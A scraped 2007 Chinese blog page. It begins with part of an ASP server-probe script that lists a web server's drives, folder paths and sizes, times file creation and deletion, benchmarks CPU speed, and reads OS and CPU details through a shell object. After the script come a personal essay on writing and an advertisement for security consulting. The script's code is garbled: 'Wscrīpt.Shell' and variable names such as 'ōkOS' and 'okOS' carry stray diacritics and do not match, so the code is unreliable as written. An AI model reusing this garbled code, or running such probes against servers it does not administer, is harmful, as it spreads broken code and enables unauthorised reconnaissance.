<td align="right"><%=cdrivetype(d.DriveType) & " " & d.DriveLetter%>:</td>
<%
if d.DriveLetter = "A" then '为防止影响服务器，不检查软驱
  Response.Write "<td></td><td></td><td></td><td></td><td></td>"
else
%>
<td><%=cIsReady(d.isReady)%></td>
<td><%=d.VolumeName%></td>
<td><%=d.FileSystem%></td>
<td align="right"><%=cSize(d.FreeSpace)%></td>
<td align="right"><%=cSize(d.TotalSize)%></td>
<%
end if
%>
</tr>
<%
next
%>
</td></tr>
</table>

<br>■ 当前文件夹信息
<%

Response.Flush

dPath = server.MapPath("./")
set dDir = fsoObj.GetFolder(dPath)
set dDrive = fsoObj.GetDrive(dDir.Drive)
%>
文件夹: <%=dPath%>
<table class=backq border="1" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#3F8805" width="450">
<tr height="18" align="center" class="backs">
<td width="75">已用空间</td>
<td width="75">可用空间</td>
<td width="75">文件夹数</td>
<td width="75">文件数</td>
<td width="150">创建时间</td>
</tr>
<tr height="18" align="center">
<td><%=cSize(dDir.Size)%></td>
<td><%=cSize(dDrive.AvailableSpace)%></td>
<td><%=dDir.SubFolders.Count%></td>
<td><%=dDir.Files.Count%></td>
<td><%=dDir.DateCreated%></td>
</tr>
</td></tr>
</table>

<br>■ 磁盘文件操作速度测试<br>
<%
Response.Flush

' 测试文件读写的想法来自“迷城浪子”

Response.Write "正在重复创建、写入和删除文本文件50次..."

dim thetime3,tempfile,iserr

iserr=false
t1=timer
tempfile=server.MapPath("./") & "\aspchecktest.txt"
for i=1 to 50
  Err.Clear

  set tempfileOBJ = FsoObj.CreateTextFile(tempfile,true)
  if Err <> 0 then
   Response.Write "创建文件错误！<br><br>"
   iserr=true
   Err.Clear
   exit for
  end if
  tempfileOBJ.WriteLine "Only for test"
  if Err <> 0 then
   Response.Write "写入文件错误！<br><br>"
   iserr=true
   Err.Clear
   exit for
  end if
  tempfileOBJ.close
  Set tempfileOBJ = FsoObj.GetFile(tempfile)
  tempfileOBJ.Delete
  if Err <> 0 then
   Response.Write "删除文件错误！<br><br>"
   iserr=true
   Err.Clear
   exit for
  end if
  set tempfileOBJ=nothing
next
t2=timer
if iserr <> true then
thetime3=cstr(int(( (t2-t1)*10000 )+0.5)/10)
Response.Write "...已完成！<font color=red>" & thetime3 & "毫秒</font>。<br>"
Response.Flush

%>
<table class=backq border="1" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#3F8805" width="450">
<tr height=18 align=center class="backs">
<td width=320>供对照的服务器</td>
<td width=130>完成时间(毫秒)</td>
</tr>
<tr height=18>
<td align=left> SCSI36.4G</td><td> 32～75</td>
</tr>
<tr height=18>
<td align=left> <font color=red>这台服务器: <%=Request.ServerVariables("SERVER_NAME")%></font> </td><td> <font color=red><%=thetime3%></font></td>
</tr>
</table>
<%
end if

Response.Flush

set fsoobj=nothing

end if%>
<br>
<font class=fonts>ASP脚本解释和运算速度测试</font><br>
<%
Response.Flush

'感谢网际同学录 http://www.5719.net 推荐使用timer函数
'因为只进行50万次计算，所以去掉了是否检测的选项而直接检测

Response.Write "整数运算测试，正在进行50万次加法运算..."
dim t1,t2,lsabc,thetime,thetime2
t1=timer
for i=1 to 500000
  lsabc= 1 + 1
next
t2=timer
thetime=cstr(int(( (t2-t1)*10000 )+0.5)/10)
Response.Write "...已完成！<font color=red>" & thetime & "毫秒</font>。<br>"

Response.Write "浮点运算测试，正在进行20万次开方运算..."
t1=timer
for i=1 to 200000
  lsabc= 2^0.5
next
t2=timer
thetime2=cstr(int(( (t2-t1)*10000 )+0.5)/10)
Response.Write "...已完成！<font color=red>" & thetime2 & "毫秒</font>。<br>"
%>
<table class=backq border="1" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#3F8805" width="450">
<tr height=18 align=center class="backs">
<td width=320>供对照的服务器及完成时间(毫秒)</td>
    <td width=65>整数运算</td><td width=65>浮点运算</td>
</tr>
<tr height=18>
<td align=left> <a href="http://www.iboer.net" target="_blank">iboer web studio</a>　　<a href="http://www.iboer.net/safe3.asp" target="_blank">实测>></a></td>
<td> 171</td>
<td> 156</td>
</tr>

<tr height=18>
<td align=left> <font color=red>这台服务器: <%=Request.ServerVariables("SERVER_NAME")%></font> </td><td> <font color=red><%=thetime%></font></td><td> <font color=red><%=thetime2%></font></td>
</tr>
</table>
<br>

<table border=0 width=450 cellspacing=0 cellpadding=0>
<tr>
<td align=center> <a href="http://www.iboer.Com" target="_blank">WwW.iboer.CoM</a></td>
</tr>
</table>
</BODY>
</HTML>

<%
function cdrivetype(tnum)
    Select Case tnum
        Case 0: cdrivetype = "未知"
        Case 1: cdrivetype = "可移动磁盘"
        Case 2: cdrivetype = "本地硬盘"
        Case 3: cdrivetype = "网络磁盘"
        Case 4: cdrivetype = "CD-ROM"
        Case 5: cdrivetype = "RAM 磁盘"
    End Select
end function

function cIsReady(trd)
    Select Case trd
  case true: cIsReady="<font class=fonts><b>√</b></font>"
  case false: cIsReady="<font color='red'><b>×</b></font>"
End Select
end function

function cSize(tSize)
    if tSize>=1073741824 then
  cSize=int((tSize/1073741824)*1000)/1000 & " GB"
    elseif tSize>=1048576 then
    cSize=int((tSize/1048576)*1000)/1000 & " MB"
    elseif tSize>=1024 then
  cSize=int((tSize/1024)*1000)/1000 & " KB"
else
  cSize=tSize & "B"
end if
end function

sub getsysinfo()
on error resume next
Set WshShell = server.CreateObject("Wscrīpt.Shell")
Set WshSysEnv = WshShell.Environment("SYSTEM")
ōkOS = cstr(WshSysEnv("OS"))
ōkCPUS = cstr(WshSysEnv("NUMBER_OF_PROCESSORS"))
ōkCPU = cstr(WshSysEnv("PROCESSOR_IDENTIFIER"))
if isnull(okCPUS) then
    ōkCPUS = Request.ServerVariables("NUMBER_OF_PROCESSORS")
elseif ōkCPUS="" then
    ōkCPUS = Request.ServerVariables("NUMBER_OF_PROCESSORS")
end if
if Request.ServerVariables("OS")="" then ōkOS=okOS & "(可能是 Windows Server 2003)"
end sub
%>

查看(82) 评论(0)
夜听琵琶语，用文字取暖

2007-11-28

研发中心(SSC)购置的高性能的服务器又出了故障，便于无事的时候翻看自己曾经写过的一些文字，突然有一种匪夷所思的陌生感。看着淡雅笔记本上那些记录并见证了我走过的人生每一步的深深浅浅的文字，我在想：这文字是我的吗？突然开始怀疑曾经笔下文字的真实性了。
　　多少年来，一直喜欢文字。不知道从什么时候开始，便对文字情有独钟。开始是用笔写，当把曾经的笔记本封存之后，便在电脑前，十指翩然起舞，敲打下心爱的文字。经常用自己钟爱的文字书写自己或阴或晴的心情，记录自己亦悲亦喜的感受，于光滑的键盘上敲打或回忆或憧憬时的美好。写文字或者用键盘敲打文字的时候，只是单纯、真实的在写，太多时候没有华丽的辞藻，也没有什么惊人的措辞，只是想写下自己的快乐与忧愁,如同今夜细听着曾经一度陪我在新疆漫过的琵琶语,林海的琴音,恰似我那刻的心情:淡雅而又不张扬,蕴美而普实。翻开记忆，回想了很多很多...
　　文字，有穿越时空和距离的力量。文字的一横一竖，是张开双臂去拥抱世界的生活气息；文字的一撇一捺，是为人撑起的一片可以翱翔的蓝天；文字的一勾一折，是漫长人生之旅上的沟沟坎坎；文字的一点一提，是疲惫过后心静如水的歇息；总之，文字的一笔一划，是潜藏在人世间的美好与沧桑的总合。文字是神奇的，它的神奇在于：人生许多转瞬即逝的念头，在自己的笔下幻化成文字，便成为一种存在，这种存在便会成为一种永恒；也会成为一种证明，这种证明是心声的体现；更会成为一种吐纳，这种吐呐是心灵的无声倾诉。
　　曾经的文字中，有嫩蕊商量细细开的芳菲春花，有轮仄半楼明的清辉秋月，有东园载酒西园醉的荷塘夏风，有天地无私玉万家的皑皑冬雪。还有给人带来温暖的亲情，有心灵相互照耀的爱情，浩荡宏大给人欣慰的友情。不仅有自然季节的变化，对亲情、友情、爱情的体会，也记载着自己人生季节的演变。十几年来，自己用文字涂鸦着自己垂髫之年的天真，志学之年时的幼稚，弱冠之时的激情向上，翘首之年的奋斗，到今天心理处于不惑之期的淡泊，还会有明天知天合命时的更多感慨……
　　喧嚣的城市中，生活在繁华的城市，没有望到珠宝的炫丽夺目，却看清了灯火璀璨。每天都在繁华与寂寥、喧嚣与宁静中、黑夜与黎明中不断的穿越。文字也一样跟随着主人的笔迹，穿越于自然界的冷暖冬夏，穿越人世间你和我的风雨春秋。在所有的文字中，我不知道自己的那份执着应该给谁？只知道那里记载的是琐碎的感动，细小的欣喜，莫名的忧伤，无关痛痒的寂寞，熟悉的陌生人……文字的尘香，于浅笑盈盈中，清风明月里，都是自己曾经往事中最深刻的记忆。
　　人生无法拒绝季节的到来，时间和季节，将人和心的距离拉的很远很远。人的一生不知要经历多少次洗礼，才不至于反衬出内心的苍白。当我行走在人生的漫长之旅上，时常会笑着说自己老了，已经站在了不惹之期的中部，总会有一种时不待我的感触。所以，经常在笔下或键盘上真实地感觉岁月是那么的无情，卷走了曾经带有风霜雨雪的日子。在这些被卷走的或阴或晴的日子里，有些东西，在记忆的某个角落里会珍存一生。这个角落一个是心灵的深处，再一个就是落笔成文的字里行间。
　　灯光下，浮一抹长衫，用颀长的十指，携唐诗游览于律诗绝句之中，寻李杜音容；持一份清风，把心灵放飞，追宋词漫步于婉约与豪放中，觅易安东坡笑貌。夜色中，唯有与文字相伴的世界，才会有幽幽温馨。与文字牵手，在泣着露水的清晨共看露珠；与文字并肩，在夏蝉高吟的午后同饮凉茶；与文字同行，在倦鸟觅巢的黄昏微笑着走进夕阳；与文字共枕，在清风如水的月夜一起缠绵。我常常在靠近心灵的某个地方，于自己钟爱的文字畅谈。横竖撇捺，勾折点提，一笔一划的来勾画着自己的心事。这心事有欣喜的，忧伤的，失去的，期盼的，激情的，淡然的，精彩的，失落的……
　　漫漫冬日，雪花飘落。在最黑的夜里，气息已不再温馨，星星闪烁一片璀璨，朦胧的梦境中五彩斑斓。今夜的月光无言，照射在我寂静的房间，照射在我电脑桌上的书本上，翻看着自己的字迹，打开邮箱看着所有的文字，徜徉在文字里，就如同住进了天堂。在文字的掩映下，眼前是一幅优美的画面，一片与世无争的净土，淡泊，宁静，致远……
　　在这个最寒冷的季节里，白天的太阳失去了热度，夜晚的月光也是那样的冰冻。我的灵魂躺在我最钟爱的文字上，点燃了所有的文字，文字默默的燃烧，永远是我生命里的火炬。这个冬天，我用文字取暖！

查看(46) 评论(0)
安全服务--iboer Web studio

2007-11-25

安全顾问
        1、负责安全体系咨询、等级保护、安全评估、安全加固、安全策略制定等安全服务项目的实施；
        2、负责安全服务项目方案编写、网络安全应急、安全设备技术咨询；
        3、负责黑客入侵检测与追踪调查，漏洞修补；

安全培训
        1、根据学员具体情况定制合适的课程，以实用为主，讲述当前面临的安全问题，即学即用；
       2、各种系统的安全配置及Web编程语言漏洞和应对措施；
       3、主流安全硬件设备的有效使用和优化，安全工具的使用和实际运用；
       4、入侵检测与追踪调查技术，病毒人工识别及处理；
       5、安全意识与安全行为规范；

网站制作
       1、根据站长６年的安全经历，网站程序安全绝对有保障，因程序而导致安全问题，无条件退款；
       2、Web程序漏洞检测修复及网站安全处理模块编写设计；
       3、大型网站构架与程序最佳性能咨询、优化；


安全产品
      1、本站现已开发安全伞、Safe3 FireWall等多款安全软件，可为各站定制安全产品；
      2、网络安全产品咨询与销售代理；
      3、手工制作企业防火墙，性价比更高；

查看(62) 评论(0)

用户菜单

日历

存档

搜索标题

我的好友

统计信息

我的最新日志

iboer突然消失在百度

iboerwebsafecheck.asp

iboer safe.asp

夜听琵琶语，用文字取暖

安全服务--iboer Web studio

我的最新书签